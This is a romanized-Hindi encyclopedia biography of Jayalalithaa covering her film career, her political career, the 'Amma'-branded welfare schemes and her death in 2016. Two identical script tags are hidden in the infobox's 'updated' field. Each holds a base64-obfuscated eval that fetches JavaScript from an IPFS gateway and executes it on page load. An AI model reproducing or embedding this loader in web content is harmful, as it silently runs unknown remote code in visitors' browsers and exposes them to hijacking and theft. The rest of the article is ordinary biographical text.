जयललिता

jayalalita
jayalalita|200px|center
poora nam	jayalalita jayaram
janm	24 faravari, 1948
janm bhoomi	maisoor
mrityu	5 disambar, 2016
mrityu sthan	chennee, tamilanadu
abhibhavak	pita- jayaram vedavalli, mata- vedavati
nagarikata	bharatiy
prasiddhi	tamil abhinetri tatha rajanitijn
parti	aaul iandiya anna dravi d munnetr k dagam
pad	tamilanadu ki poorv mukhyamantri
kary kal	24 joon 1991 – 12 mee 1996, 14 mee 2001 – 21 sitambar 2001, 2 march 2002 – 12 mee 2006, 16 mee 2011 se 27 sitambar, 2014 tak.
bhasha	tamil, telugu, kann d, aangrezi, hiandi
vishesh	tamilanadu mean jayalalita ki lokapriyata zyada hai, kyoanki unaki yojanaean sidhe janata se ju dati haian. unaki yojanaean gariboan ke hit mean haian; aur khas bat ye hai ki unaki yojanaoan ko amma braand kaha jata hai.
any janakari	jayalalita tamil filmoan ki abhinetri bhi thian. unhoanne tamil ke alava telugu, kann d aur hindi bhasha ki lagabhag 300 filmoan mean kam kiya tha.
adyatan‎	01:58, 06 disambar-2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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jayalalita jayaram (aangrezi: Jayalalithaa Jayaram, janm: 24 faravari, 1948, maisoor; mrityu- 5 disambar, 2016, chennee) tamilanadu ki mukhyamantri evan aaul iandiya anna dravi d munnetr k dagam (e.ai.e.di.em.ke.) parti ki prasiddh neta thian. ve tamil filmoan ki abhinetri bhi rahi thian. jivan ke har sangharsh ko muanhato d javab de kar hi 'amma' yani jayalalita nari shakti ka pray: ban gee thian.

parichay

jayalalita ka janm 24 faravari san 1948 ko maisoor mean maandaya zile ke paandavapur namak taluke ke melurakot gaanv mean ek 'ayyar parivar' mean hua tha. inake pita ka nam jayaram vedavalli tha tatha mata vedavati thian. jayalalita ne apani praranbhik shiksha charch park k aaunveant skool aur bishap k aautan garls skool mean paee. unhoanne uchch shiksha chennee ke charch park prejeanteshan kanveant aur stela maris k aaulej se prapt ki thi. mahaj 2 sal ki umr mean hi jayalalita ke pita jayaram, unhean maan ke sath akela chho d chal base the. isake bad shuroo hua garibi aur abhav ka vah daur, jisane jayalalita ko itana mazaboot bana diya ki ve visham paristhitiyoan mean bhi khud ko sahaj banae rakhane mean poori tarah se saphal rahian. vipaksh ke liye khatara aur apane chahane valoan ke bich 'amma' ke nam se mashahoor jayalalita ne apani rah apane ap tay ki.

filmi kॅriyar

thumb|left|250px|jayalalita (abhinetri roop) jayalalita ne sirf 15 sal ki umr mean parivar ko chalane ke lie filmoan ka rukh kar liya. unhoanne bal kalakar ke roop mean filmi kॅriyar ki shuruat ki thi. 1964 mean jayalalita ko kann d film 'chinna da gombe' mean lid rol mila. jayalalita ne hiandi, kann d aur ianglish filmoan mean bhi kam kiya. unhoanne janemane nirdeshak shridhar ki film 'venniradee' se apana filmi kॅriyar shuroo kiya aur lagabhag 300 filmoan mean kam kiya. unhoanne tamil ke alava telugu, kann d aur hindi filmoan mean bhi kam kiya.

em. ji. ramachandran ke sath jo di

san 1965 mean jayalalita ne tamil film mean kam kiya, jo bahut b di hit sabit huee. isi sal unhoanne em. ji. ramachandran ke sath bhi kam kiya. em. ji. ramachandran tamilanadu ke poorv mukhyamantri bhi rah chuke haian aur jayalalita ke p aaulitikal meantar bhi banean. 1965 se 1972 ke daur mean unhoanne adhikatar filmean em. ji. ramachandran ke sath kian. 1970 mean parti ke logoan ke dabav mean em.ji. ar ne doosari abhinetriyoan ke sath bhi kam karana shuroo kar diya. vahian jayalalita bhi doosare abhinetaoan ke sath filmean karane lagian. karib 10 saloan tak in donoan ne ek sath koee film nahian ki. 1973 mean jayalalita aur em. ji. ar ki jo di akhiri bar najar aee thi. in donoan ne kul milakar 28 filmoan mean sath kam kiya. 1980 mean unhoanne apani akhiri tamil film mean kam kiya.

rajanitik jivan

parti ke aandar aur sarakar mean rahate hue mushkil aur kathor faisaloan ke lie mashahoor jayalalita ko tamilanadu mean 'ayaran ledi' aur tamilanadu ki 'maragret thaichar' bhi kaha jata hai. kam umr mean pita ke gujar jane ke bad jayalalita ko poorv abhineta aur neta em. ji. ramachandran 1982 mean rajaniti mean lae. usi sal vah e.aee.e.di.em.ke. ke tikat par rajyasabha ke lie manonit ki geean aur usake bad unhoanne pichhe mu d kar nahian dekha.

brahman virodhi manch par dravi d aandolan ke neta apane chir pratidvandvi em. karunanidhi se jayalalita ki lanbi bhi dant huee. rajaniti mean 1982 mean ane ke bad aupacharik taur par unaki shurooat tab huee, jab vah annadramuk mean shamil hueean. varsh 1987 mean em. ji. ramachandran ke nidhan ke bad parti ko chalane ki jimmedari unake kandhoan par a gayi aur unhoanne vyapak rajanitik soojh-boojh ka parichay diya. bhrashtachar ke mamaloan mean 68 varshiy jayalalita ko do bar pad chho dana bhi p da, lekin donoan mauke par vah natakiy taur par vapasi karane mean saphal rahian. rajaniti mean unaki shuruat 1982 mean huee, jisake bad emajiar ne unhean agale sal prachar sachiv bana diya. ramachandran ne karishmaee chhavi ki adakara-rajaneta ko 1984 mean rajyasabha sadasy banaya, jinake sath unhoanne 28 filmean ki thian. jayalalita ne 1984 ke vidhanasabha tatha lokasabha chunav mean parti prabhar ka tab netritv kiya, jab ramachandran asvasthata ke karan prachar nahian kar sake the.

mukhyamantri ka pad

thumb|250px|jayalalita varsh 1987 mean ramachandran ke nidhan ke bad rajaniti mean vah khulakar samane ayian, lekin annadramuk mean phoot p d gayi. aitihasik rajaji h aaul mean emajiar ka shav p da hua tha aur dramuk ke ek neta ne unhean manch se hatane ki koshish ki. bad mean annadramuk dal do dh de mean bant gaya, jise jayalalita aur ramachandran ki patni janaki ke nam par 'annadramuk je' aur 'annadramuk ja' kaha gaya. emajiar kaibinet mean varishth mantri ar. em. virappan jaise netaoan ke kheme ki vajah se annadramuk ki nirvivad pramukh banane ki rah mean a dachan ayi aur unhean bhishan sangharsh ka samana karana p da. ramachandran ki maut ke bad bant chuki annadramuk ko unhoanne 1990 mean ekajut kar 1991 mean jabaradast bahumat dilayi. 1991 mean hi pradhanamantri rajiv gaandhi ki hatya huee thi aur isake bad hi chunav mean jayalalita ne kaangres ke sath gathabandhan kar liya tha, jisaka unhean fayada pahuancha tha. logoan mean di.em.ke. ke prati zabaradast gussa tha, kyoanki log use litte ka samarthak samajhate the. mukhyamantri banane ke bad jayalalita ne litte par pabandi lagane ka anurodh kiya tha, jise keandr sarakar ne man liya tha.

jayalalita ne bodinayakannoor se 1989 mean tamilanadu vidhanasabha chunav mean jit hasil ki aur sadan mean pahali mahila pratipaksh neta banian. is dauran rajanitik aur niji jivan mean kuchh badalav aya, jab jayalalita ne arop lagaya ki sattaroodh dramuk ne un par hamala kiya aur unako pareshan kiya. alabatta, paanch sal ke karyakal mean bhrashtachar ke aropoan, apane dattak putr ke vivah mean jamakar dikhava aur ummidoan ke anuroop pradarshan nahian karane ke chalate unhean 1996 mean apane chir pratidvandvi dramuk ke hathoan satta ganvani p di. isake bad unake khilaph ay ke jnat srot se adhik sanpatti sahit kee mamale dayar kiye ge. adalati mamaloan ke bad unhean do bar pad chho dana p da- pahali bar 2001 mean doosari bar 2014 mean.

karyakshamata

jayalalita 2001 mean jab dobara satta mean aeean, tab unhoanne l aautari tikat par pabandi laga di. h datal par jane ki vajah se do lakh karmachariyoan ko ek sath naukari se nikal diya, kisanoan ki muft bijali par rok laga di, rashan ki dukanoan mean chaval ki qimat badha di, 5000 rupaye se zyada kamane valoan ke rashan kard kharij kar die, bas kiraya badha diya aur mandiroan mean janavaroan ki bali par rok laga di. lekin 2004 ke lok sabha chunav mean buri tarah harane ke bad unhoanne pashubali ki anumati de di aur kisanoan ki muft bijali bhi bahal ho gee. unhean apani alochana bilkul pasand nahian thi aur is vajah se unhoanne kee samachar patroan ke khilaf manahani ke muqadame kiye.

jayalalita tatha emajiar

tamilanadu ki rajaniti ke do nayak em. ji. ramachandran (emajiar) aur jayalalita ke apasi sanbandh hamesha charcha ka vishay rahe. emajiar philmi duniya mean jayalalita ke meantar the to rajaniti mean unake guru. emajiar jayalalita se behad lagav rakhate the aur vo unaka har dam khyal bhi rakhate the. ek bar ek philm ki shootiang ke dauran jayalalita nange paanv thian aur tej dhoop ke karan unake pair jalane lage to emajiar ne unhean takaliph se bachane ke lie god mean uthakar kar tak pahuanchaya.thumb|left|300px|jayalalita tatha em. ji. ramachandran bad mean apane ek iantaravyoo mean is ghatana ka jikr karate hue jayalalita ne kaha tha ki- "emajiar kee bar asal jiandagi mean bhi hiro ki bhoomika nibhate the."

vakaya us samay ka hai jab jayalalita emajiar ke sath 'adimayappan' philm ki thar registan mean shootiang kar rahi thian. philm mean vo gulam l daki ka rol nibha rahi thian, isalie unhean nange paanv shootiang karani thi. chooanki philm set par baki logoan ne joote pahan rakhe the, isalie kisi ko is bat ka aandaja nahian hua ki dhoop badhane ke sath ret tapane lagi hai. kuchh hi ghante bad ret itani garam ho gee ki jayalalita ke paanv buri tarah jalane lage. philm yoonit ke kisi sadasy ne is bat par dhyan nahian diya, lekin emajiar ne bhaanp liya ki ret se jayalalita ke paanv jal rahe haian. unhoanne tatkal philm ki shootiang paik ap karane ke lie kah diya. jayalalita ki jivani "ammaah jayalalitaj jarni phr aaum moovij star too politikal kvin" likhane vali vasanti ne apani kitab mean is vakaye ka jikr kiya hai. jayalalita ki mushkil yahian nahian khatm huee. unaki ga di shootiang sthal se tho di doori par kh di thi. ve tapati ret par nange paanv rakhate hue kar tak jane lagian, lekin dhire-dhire jalan unaki sahanashakti se bahar hone lagi aur unhean lagane laga ki ve chakkar khakar gir p deangi. jayalalita ne bad mean ek iantaravyoo ke dauran us ghatana ko yad karate hue kaha tha- "vo narak se gujarane jaisa tha." is bar bhi jayalalita ki halat emajiar ne samajhi aur unhoanne ek shabd kahe-sune bina god mean utha liya aur kar tak le ge. jayalalita ne apane iantaravyoo mean kaha tha- "maian ek kadam nahian badha pa rahi thi. maian girane hi vali thi. maianne ek shabd bhi nahian kaha, lekin emajiar ne mera darj samajh liya hoga. ve pichhe se achanak ae aur mujhe apani baanhoan mean utha liya. ve kee bar asal jiandagi mean bhi hiro ki bhoomika nibhate the."

kriket se rishta

'aaul iandiya anna dravi d munetr k dagam' ki mukhiya jayalalita ne b aaulivud se apana saphar shuroo kiya tha, lekin unaka ek khas rishta kriket se bhi raha. jayalalita ne ek chait sho ke dauran bataya tha ki unaka pahala krash nari k aauntraiktar the, jabaki ve shammi kapoor ki bhi bahut b di phain rahian. nari k aauntraiktar ka poora nam nariman jamashedaji k aauntraiktar tha. unhoanne 1955 se 1962 ke bich bharat ke lie 31 test maich khele. is dauran unake balle se ek shatak aur 11 arddh shatak nikale the. k aauntraiktar ka janm 7 march, 1934 ko gujarat ke godhara mean hua tha. unhoanne 52 test pariyoan mean 31.58 ki ausat se 1611 ran banae the. dilli mean vestiandij ke khilaph 1958-1959 mean 92 ranoan ki pari khelakar unhoanne sanasani macha di thi. 1960-1961 mean unhoanne pakistan ke khilaph bharatiy tim ki kaman sanbhali thi. us samay unaki umr 26 sal ki thi aur ve us samay bharat ke sabase kam umr mean bane test kaptan the. unhoanne apani kaptani mean bharat ko ianglaiand ke khilaph jit dilaee thi. ballebaj aur kaptan ke taur par ve apane kॅriyar ke charam par the. 1962 mean iandiyan toorist k aauloni aur barabados ke bich khele ge maich mean unhean charli griphith ki geand sir mean ja lagi. kuchh samay tak unaki jiandagi khatare mean thi. unaki kee sarjari karani p di, jisake bad ve khatare se bahar nikale. isake bad unaka aantararashtriy kॅriyar khatm ho gaya. do sal bad unhoanne pratham shreni kriket mean vapasi to ki, lekin aantararashtriy kriket mean vapasi nahian kar sake. pratham shreni kriket mean unake balle se 138 maichoan mean 39.86 ki ausat se 8611 ran nikale the.

hindi sinema ki prasiddh abhinetri rahian sharmila taigor ne jayalalita ko shraddhanjali dete hue bataya tha ki unhean pataudi ko ballebazi karate dekhana bahut pasand tha aur ve sirph navab pataudi ko dekhane ke lie maidan par jati thian. sharmila tegaur ka kahana tha ki unhoanne ye bhi suna tha ki jayalalita maidan par doorabin lekar jati thian taki ve pataudi ko pas se dekh sake. vaise yah bhi ullekhaniy hai ki jayalalita ne ek iantaravyoo ke dauran ye bhi kaha tha ki unhean bharat ke poorv kaptan nari k aauntraiktar bhi bahut pasand the.

janata ki bhagavan 'amma'

thumb|250px|jayalalita apani maan tatha bhaee ke sath jayalalita (amma) ko janata bhagavan ki tarah poojati hai. 2014 mean jab jayalalita ko jel bheja gaya to unake kee samarthakoan ne atmahatya kar li. darasal jayalalita ki lokapriyata isalie bhi jyada hai, kyoanki unaki yojanaean sidhe janata se ju dati haian. unaki yojanaean gariboan ke hit mean haian; aur khas bat ye hai ki jayalalita ki yojanaoan ko amma braand kaha jata hai.

amma kaiantin

amma kaiantin mean 1 rupaye mean idali saanbhar aur 5 rupaye mean chaval milata hai. rajy ke sabhi b de shaharoan mean amma kaiantin khuli huee haian.

amma minaral vatar

10 rupaye mean minaral vatar ki botal milati hai. chennee samet sabhi pramukh shaharoan tatha relave steshan-bas staiand ke asapas ye bikati hai.

amma pharmesi

tamilanadu ke pramukh aspataloan ke pas khule pharmesi mean sasti daroan par davaean upalabdh haian.

amma simeant

gariboan ko ghar banane ke lie saste mean simeant bechane ki yojana ko logoan ne pasand kiya hai.

bebi keyar kit

amma bebi keyar kit mean machchharadani, maitres, sabun, kap de, naipakin, bebi shaianpoo 16 saman muft mean diye jate haian.

amma mobail

is yojana mean tamilanadu ke svayan sahayata samoohoan ko phri mean smartaphon milata hai. isake alava amma s aault, amma sids adi baand bhi haian.

kafi kuchh muft mean

garib auratoan ko miksar graiandar, l dakiyoan ko saikilean, chhatroan ko skool baig, kitabean, yooniphaॅrm tatha muft mean mastar helth chekap ki suvidha bhi milati hai.

nidhan

jayalalita ka nidhan 5 disambar, 2016 ko chennee mean hua. unhoanne somavar ke din rat 11: 30 baje akhiri saans li. jayalalita ko kardiyak arest (hriday ki gati rukana) ane ke bad se unaki halat ganbhir thi. ve karib do mah se aspatal mean bharti thian aur unaka ilaj chal raha tha.

any dravi d netaoan ke ulat jayalalita ki poori astha bhagavan mean thi. vah niyamit roop se prarthana karati thian aur mathe par ayangar samuday ke logoan ki tarah tilak bhi lagati thian. bavajood isake tamilanadu sarakar aur shashikala parivar ne hiandoo riti rivaj ke hisab se dah sanskar karane ki bajay unake shav ko daphanane ka phaisala kiya. jayalalita ke shav ko em. ji. ramachandran ki samadhi ke sath hi daphanaya gaya. rajy sarakar ke ek adhikari ke anusar- "jayalalita hamare lie ayangar nahian thian. vah kisi bhi jati ya dharm se oopar thian. unase pahale periyar, annaduraee aur em. ji. ramachandran sahit adhikatar dravi d netaoan ko daphanaya gaya hai. ham maut ke bad bhi kisi ko ag ki lapatoan ke havale nahian kar sakate. ham unhean smarak ke roop mean yad rakhana chahate haian. isalie chandan aur gulab jal ke sath unake parthiv sharir ko daphanane ka phaisala liya gaya."

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• kh‍yoan brahman hone ke bavajood dah sansh‍kar karane ke bajay daphanaee geean jayalalita

sanbandhit lekh

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